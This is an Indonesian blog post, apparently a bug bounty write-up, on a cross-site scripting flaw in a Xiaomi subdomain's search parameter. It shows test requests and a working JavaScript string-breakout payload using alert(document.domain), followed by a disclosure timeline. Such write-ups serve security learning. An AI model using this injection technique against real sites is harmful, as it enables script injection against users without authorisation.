Xiaomi DOM XSS #BugBounty

Learn System Security - Seperti biasa pada blog ini, saya akan menulis PoC dari bug yang saya temukan pada Xiaomi.


Bug DOM XSS ini ada pada salah satu Subdomain Xiaomi, jika kalian minat pada Xiaomi Bug Bounty Program kalian bisa mengunjunginya pada HackerOne.

Saat itu saya sedang mencari list subdomain dari Xiaomi pada situs https://findsubdomains.com/.
Setelah dapat beberapa subdomain, saya menjelajah dan melihat setiap halaman pada situs itu, dan sampai akhirnya menemukan URL & Parameter yang unik seperti dibawah ini.


Request:
https://[sub].mi.com/pages?query=pop 
Response:
<script>
    $(function($) {
        $('#pop').on('click', function() {
            var query = 'pop';
            if(query){
                myf(query);
            }else{
                alert("Error.");
            }
        });
    })
</script>


Menarik bukan? pada parameter query ditulis ulang pada halaman itu, lalu saya coba menutup tag <script>.

Request:
https://[sub].mi.com/pages?query=pop</script>
Response:
<script>
    $(function($) {
        $('#pop').on('click', function() {
            var query = 'pop&lt;/script&gt;';
            if(query){
                myf(query);
            }else{
                alert("Error.");
            }
        });
    })
</script>


Ternyata tidak bisa karena langsung di encode-_-
Selanjutnya saya coba request seperti dibawah ini.

Request:
https://[sub].mi.com/pages?query=pop'
Response:
<script>
    $(function($) {
        $('#pop').on('click', function() {
            var query = 'pop'';
            if(query){
                myf(query);
            }else{
                alert("Error.");
            }
        });
    })
</script>


wtf, ketika memasukkan petik satu tidak ada encode pada source code.
Yang saya lakukan selanjutnya adalah menutup tanda ( ) { } untuk mengakhiri function() dan kita bisa menjalankan XSS setelahnya.

Request:
https://[sub].mi.com/pages?query=pop';});alert(document.domain);$('x').on('click', function(){//
Response:
<script>
    $(function($) {
        $('#pop').on('click', function() {
            var query = 'pop';});alert(document.domain);$('x').on('click', function(){//';
            if(query){
                myf(query);
            }else{
                alert("Error.");
            }
        });
    })
</script>




Screenshot:


Time line:
09/04/2019 Report bug to Xiaomi.
09/04/2019 Xiaomi change the status from low to medium.
09/04/2019 Xiaomi change the status from medium to triaged.
09/04/2019 Xiaomi gimme reward.


Thanks, happy bug hunting.

0 comments